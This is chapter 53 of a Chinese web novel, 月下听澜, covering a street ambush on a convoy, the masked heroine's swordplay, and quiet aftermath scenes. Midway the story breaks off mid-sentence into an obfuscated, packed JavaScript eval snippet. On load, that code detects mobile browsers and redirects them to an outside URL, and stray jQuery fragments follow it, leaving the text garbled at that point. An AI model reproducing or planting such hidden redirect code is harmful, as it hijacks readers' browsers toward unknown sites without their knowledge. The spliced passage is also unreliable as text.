53. 第五十三章

作品:《月下听澜

    哐当一声。


    卫安晏一刀截下长箭:“长风,带人清理屋顶上的老鼠。”


    街道两侧,家家户户紧闭大门。


    白发将军骑在马上,走在道路正前方。


    两侧金吾卫夹着犯人,队伍后侧跟着端亲王府、昭和公主府车队。


    其中一辆车顶上,盘腿坐着一位戴猫脸面具的少年。


    队伍行至岔路口。


    一群黑衣人从两侧小巷冲出。


    白发少年将军剑眉如峰,双眼如鹰,手腕翻转间,长刀出鞘,刀尖划过一道凌冽的弧光。


    他高声喝道:“拔刀!”


    身后金吾卫齐齐应声,长刀出鞘如雷霆响彻天空。


    个个身影挺拔,等着敌人鲜血的洗礼,连成一座巍峨大山,不可撼动半分。


    队伍后端也涌出一群黑衣人,车顶上的面具少年翻身跳到驭座上,她掀开车帘,捡起长弓,抬头叮嘱一句:“莲池,听到任何响声,都不要出来。”


    莲池一张小脸惨白:“阿兰施主,我怕。”他看到一排排尸体摆在庭院中,他从来没见过那么多死人。


    每一个人都是他熟悉的师兄、香客,他们睁着眼睛,就那么躺在地上。


    一闭眼,脑海中就浮起那些人的面孔。车外传来的厮杀声与山洞,几乎一样。


    “别怕,世子的马车,他们不敢闯。”桑澜拍了拍他的肩膀,放下车帘。


    萧北辰合上书,看向莲池微微发抖的肩膀:“你在害怕什么?”


    莲池咬着唇,握着袖中的小木马,不回话。


    萧北辰:“在本世子这,你不会死。”


    莲池摇头,小声抽泣:“世子,我不是怕死。”


    “那你怕什么?”


    “师兄,师兄他们都死了。”


    萧北辰:“他们捉来像你一样大的孩子,杀了卖钱。按你们佛家的话来讲,善有善报,恶有恶报,他们用命偿还自己的罪孽。”


    他让小澜与母妃分别五年,怕小澜想起往事,亲手用石头砸伤她的头……他又该如何洗清自己的罪孽?


    目光留在莲池的手上。


    “那是什么?”


    莲池举起小木马:“阿兰施主给我的。”


    “拿来。”


    莲池摇头。


    萧北辰取下腰间玉佩:“本世子用玉佩跟你换。”


    呜咽声传了出去,马车一晃。


    桑澜掀开帘子,抛出一小包蜜枣,丢给萧北辰:“表哥,哄哄孩子。”


    转身又跃进人群中。


    帘子晃动。


    萧北辰握着蜜枣:“本世子不要你的小木马了,你不准哭。”


    莲池止住抽泣,望向他手中的蜜枣。


    萧北辰收进袖里。


    “哇。”莲池没忍住,大嚎一声。


    “一粒,没有多的。”萧北辰手中手帕多出一粒蜜枣,“你再哭,一粒都没有。”


    莲池小心接过,飞快喂进嘴里,生怕被抢走。


    萧北辰盯着他,确认他真的不哭了,敲了敲车窗:“砚书,情况如何?”


    砚书:“世子,在收网了。”


    血珠划过白色发冠,卫安晏如旋风旋转,飞腿横踢黑衣人,长刀横扫前方之人,动作行云流水,取人性命如家常便饭。


    被救的金吾卫回神,嬉笑一声:“卫将军,谢了。”


    卫安晏:“小心点。”他转头对上桑澜的弓箭。


    寒光疾驰而来,一声惨叫。


    他回头,一个想要偷袭他的黑衣人,心头没入一根长箭。


    长刀换弓,桑澜一跃而起,来到前方团团黑影之中。双手提起两名金吾卫,踩着人肩膀,飞回队伍中央。


    一人是受了重伤的金吾卫,一人是妙真主持。


    红杏掀开车帘,帮着她把人扶进来。


    桑澜拔出药瓶塞子,倒出一粒丹药往那人嘴里喂,找准穴位后敲击,又扯下布带绑住他受伤的大腿。


    “我给你喂了药,你要撑住,明天就是新年了。”


    受伤之人唇色雪白,他艰难张嘴:“多谢表小姐。”


    合着她这面具带不带都一样,桑澜拍了拍他的肩膀:“安心在这待着吧。”


    妙真主持:“施主还懂医术?”


    “江湖人,多多少少都会治跌打扭伤。”桑澜接过红杏递来的茶,抬头看面色复杂的妙真主持,皮笑肉不笑,“你过新年,那些个家伙就过不好新年。”


    她转身走出车厢:“红杏,保护好陆大人。”


    妙真主持问受伤的金吾卫:“表小姐有多厉害?”


    金吾卫咬着牙:“当初,表小姐杀进拐子窝,那叫一个神挡杀神,佛挡杀佛……”


    “原来是她。”妙真主持记起几个月前,有一段时间红袖香“断货”,因经手孩子的窝被人端了。


    妙真主持转头看向沉默的陆大人:“此事,陆大人可否知晓?”


    陆阳静:“知道。”


    那时她追查红袖香一案,线索指向京城拐子案。


    二姐来信,京城有一位带着猫脸面具的少年,带着金吾卫抄了拐子窝,救出了二姐的小女儿。端亲王暗中压下面具少年的功劳,外人只知是金吾卫端了拐子窝。


    但端亲王府恰好来了一位武艺高强的表小姐,赵家后人。


    二姐信中猜测,面具少年是端亲王府表小姐桑澜,不然端亲王为何要遮掩此事?


    陆阳静记得阿兰说过,师父姓赵,端亲王妃也姓赵。


    回信中,她交代京城陆家暗中关注此人。


    京城又来信,冬雪宴上,表小姐桑澜夺得箭术头筹……其特长、品行与阿兰一模一样。


    天底下没有第二个阿兰。


    掌握一定证据后,她通知竹叶青婆婆上京寻阿兰。


    今日重逢,桑澜就是阿兰。


    陆阳静心中欢喜盖过算计的疲惫:“红杏,她过得好吗?”


    红杏一愣,她想到闷嘴葫芦小柳,回道:“小姐的事情,请陆大人私下去问小姐。”


    马蹄声从远方传来,黑衣人见逃脱无望,索性拼了命地拉人垫背。


    卫安晏横刀一挑,鲜血洒在桑澜脸上,他替桑澜解决一个偷袭者,两人算是扯平了。


    周围凹出一处空地,因他二人手起刀落间人头落地,黑衣人不敢轻易招惹。


    他们背对而立,在场黑衣人越来越少。


    打斗间,两人闲聊。


    卫安晏:“援军快到了。”


    桑澜:“我看到旗帜了。”


    卫安晏:“明日,我过生辰。”


    桑澜:“你想要生辰礼?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138255|156631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>卫安晏笑眼盈盈:“那是最好不过。”


    “我想想吧。”桑澜猛然跃起,手中长刀转了半个圈,走回王府马车。


    金吾卫大将军高荣领兵而来,她大手一挥:“全部拿下。”


    援军一来,王府车队与大军分道扬镳。


    卫安晏目送在驭座上打瞌睡的桑澜,嘴角止不住上扬。


    高荣:“卫将军插手红袖香一案,当真不怕他们的报复?”


    卫安晏抬起下颚,凌冽的神态中夹杂着几分散漫:“高将军,我青州卫家跟着圣上打天下,戍边近二十年,为何要惧怕上不得台面的硕鼠?他们偷吃大夏的粮食,将自个儿养的肥圆。”


    “倘若他们得了便宜,还不肯老老实实蜷缩在洞里。”他举起带血长刀,雪白中映着血色落日,“那么,他们的下场便是被金吾卫的长刀砍下头颅。”


    ……


    桑澜记不得谁将她洗干净,又将她抱上床,她实在是累得睁不开眼。


    她猜,应该是小柳和红杏。


    其实是萧北芸,她没去宫中夜宴。


    小柳举着蜡烛,红杏捧着药碗。


    萧北芸坐在床边,用小木片仔细涂抹桑澜身上的小伤口,又换了祛疤膏,涂到陈年旧伤上。


    指尖撩起颈后青丝,她顿住了手。


    红痣周围有一道牙印,看大小,像是男子所为。


    萧北芸抬头看向小柳。


    小柳也是一惊。


    旁人没见过小姐的伤,她是最清楚不过,何时多出来一道牙印?


    她抬头看红杏,红杏望着牙印失神。


    两人心中有猜测,却不同。


    小柳:冬雪宴那回,小姐吃醉酒,她到处找人,在千山居外碰见过卫将军。论起相貌和出身,卫将军也能配得上小姐,但小姐不是不喜卫将军吗?


    红杏:表小姐有了心仪的男子,此事万不可被世子知晓。


    三人对视,没有一人主动开口追问。


    青丝盖住了牙印。


    月挂枝头,一声猫叫。


    屋内灯火未熄,菜包趴在桌上,尾巴有一搭没一搭地扫过水壶。


    桑澜翻开饭盒,里头摆着糕点,摸水壶,还是温热,小柳和红杏可能刚睡下不久。


    菜包见她吃糕点,伸手往饭盒掏,桑澜提起饭盒,小声道:“菜包,你一天吃四顿,我这才第二顿。”


    吃着吃着,她想起卫安晏问她讨要生辰礼。


    大过年,哪家铺子能开门?她不该嘴快。


    桑澜轻手轻脚走到库房,举着油灯,扫视了一圈,表哥送来的金银器物最多。


    她站起身,看见格子中躺着一个小盒子,打开发现是一枚镶有金丝玛瑙的元宝扳指。


    去店里订表哥的生辰礼时,她一眼相中此物,大小虽不合适,奈何实在貌美。


    卫安晏习箭术,送他一枚元宝扳指,正好合适。


    生辰礼用比翼鸟荷包装好,明日带给他,物归原主。


    ……


    天启二十年,元日。


    赵家老宅。


    赵婆婆推开门:“谁啊?”


    “是我,桑澜。”桑澜牵着缰绳站在门前,马背上托着两大包物件,“赵婆婆,我能进吗?”


    姨夫说过,赵婆婆不喜外人入内,她并非赵家人。